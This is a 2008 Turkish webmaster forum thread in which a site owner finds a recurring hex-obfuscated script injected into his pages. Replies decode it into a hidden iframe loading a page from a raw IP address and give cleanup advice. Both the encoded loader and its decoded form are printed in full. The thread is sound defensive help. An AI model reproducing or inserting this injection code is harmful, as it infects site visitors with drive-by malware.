• 21-07-2008, 09:43:34
    #1
    sitemin html kodları kontrol ettiğimde <body> den sonra

    Alıntı
    <script>

    <!--

    var d=document,kol=561;

    function O10H4884201323B5E(H4884201323F5A){ return( parseInt(H4884201323F5A,16));}function H4884201324B50(H4884201324F4C){ var H4884201325348='';for(H488420132583C=0; H488420132583C<H4884201324F4C.length; H488420132583C+=2){ H4884201325348 += ( String.fromCharCode (O10H4884201323B5E(H4884201324F4C.substr(H48842013 2583C, 2))));}return H4884201325348;} document.write(H4884201324B50('3C7363726970743E696 628216D796961297B642E777269746528273C494652414D452 06E616D653D4F31207372633D5C27687474703A2F2F37372E3 232312E3133332E3137312F2E69662F676F2E68746D6C3F272 B4D6174682E726F756E64284D6174682E72616E646F6D28292 A3330383235292B276335333139635C272077696474683D363 835206865696768743D3435207374796C653D5C27646973706 C61793A206E6F6E655C273E3C2F494652414D45203E27293B7 D766172206D7969613D747275653B3C2F7363726970743E')) ;

    //-->

    </script>
    kodunun eklendiğini farkettim. Dün sildim ve bugun yine bu kod duruyor.
    nedir bu?
  • 21-07-2008, 09:50:13
    #2
    Üyeliği durduruldu
    virüs....
  • 21-07-2008, 09:57:21
    #3
    virüs ise ve dosyanın cmod'u yazmaya elverişli ise olmuş olabilme ihtimali car gibi bişe. manyak cümle kurdum ha
  • 21-07-2008, 10:23:18
    #4
    çözülmüş hali

    <script>if(!myia){d.write('<IFRAME name=O1 src=\'http://77.221.133.171/.if/go.html?'+Math.round(Math.random()*30825)+'c5319c\ ' width=685 height=45 style=\'display: none\'></IFRAME >');}var myia=true;</script>
  • 21-07-2008, 10:49:51
    #5
    pekı ne yapmam lazım

    windows VPS de bulunan bir sitemde oluyor bu sorun. Makınaya anti virus mu kurmalıyım?
    izinleri normal
  • 21-07-2008, 11:09:13
    #6
    galiba kodları encode etmişler ya da arkadaşların dediği gibi virüs
  • 21-07-2008, 18:24:55
    #7
    Ftp'den bulaşan bir virüs. Siz silseniz bile yine kendini ekleyecektir.index.html veya index.php gibi sayfalara kendini ekliyor. İnternet explorerde çalışıyor, firefox kullanıyorsanız zaten uyarı almamışsınzdır.

    Güvenli bir bilgisayardan ftp şirenizi değiştirip , index.php gibi dosyalardan kodu kaldırın. Ben nod32 ve antivir ile tarattım yakalayamışlardı. Ama virüs siteye bulaştıktan sonra ancak uyarı veriyorlar. ( sadece i.e ama firefoxda kod çalışmıyor )

    Yani en kesin yöntem format. Google sitenizi kara listeye almadan bu işlemi yapmanızı tavsiye ederim. Sitenizin girenlerin bilgisayarına virüs.dll diye bir dosya ekler ve sitenizi advancedxpdefender.com/.... gibi bir siteye yönlendirir.

    Tabi bunlar benim tahmin ettiğim virüs ise geçerli.
  • 21-07-2008, 19:03:59
    #8
    bondcemil adlı üyeden alıntı: mesajı görüntüle
    Ftp'den bulaşan bir virüs. Siz silseniz bile yine kendini ekleyecektir.index.html veya index.php gibi sayfalara kendini ekliyor. İnternet explorerde çalışıyor, firefox kullanıyorsanız zaten uyarı almamışsınzdır.

    Güvenli bir bilgisayardan ftp şirenizi değiştirip , index.php gibi dosyalardan kodu kaldırın. Ben nod32 ve antivir ile tarattım yakalayamışlardı. Ama virüs siteye bulaştıktan sonra ancak uyarı veriyorlar. ( sadece i.e ama firefoxda kod çalışmıyor )

    Yani en kesin yöntem format. Google sitenizi kara listeye almadan bu işlemi yapmanızı tavsiye ederim. Sitenizin girenlerin bilgisayarına virüs.dll diye bir dosya ekler ve sitenizi advancedxpdefender.com/.... gibi bir siteye yönlendirir.

    Tabi bunlar benim tahmin ettiğim virüs ise geçerli.
    yakalayamışlardı

    yakaladılar mı? yoksa yakalamadılar mı
  • 21-07-2008, 20:04:37
    #9
    gdi
    Üyeliği durduruldu
    decoder ile temizleyebilirsin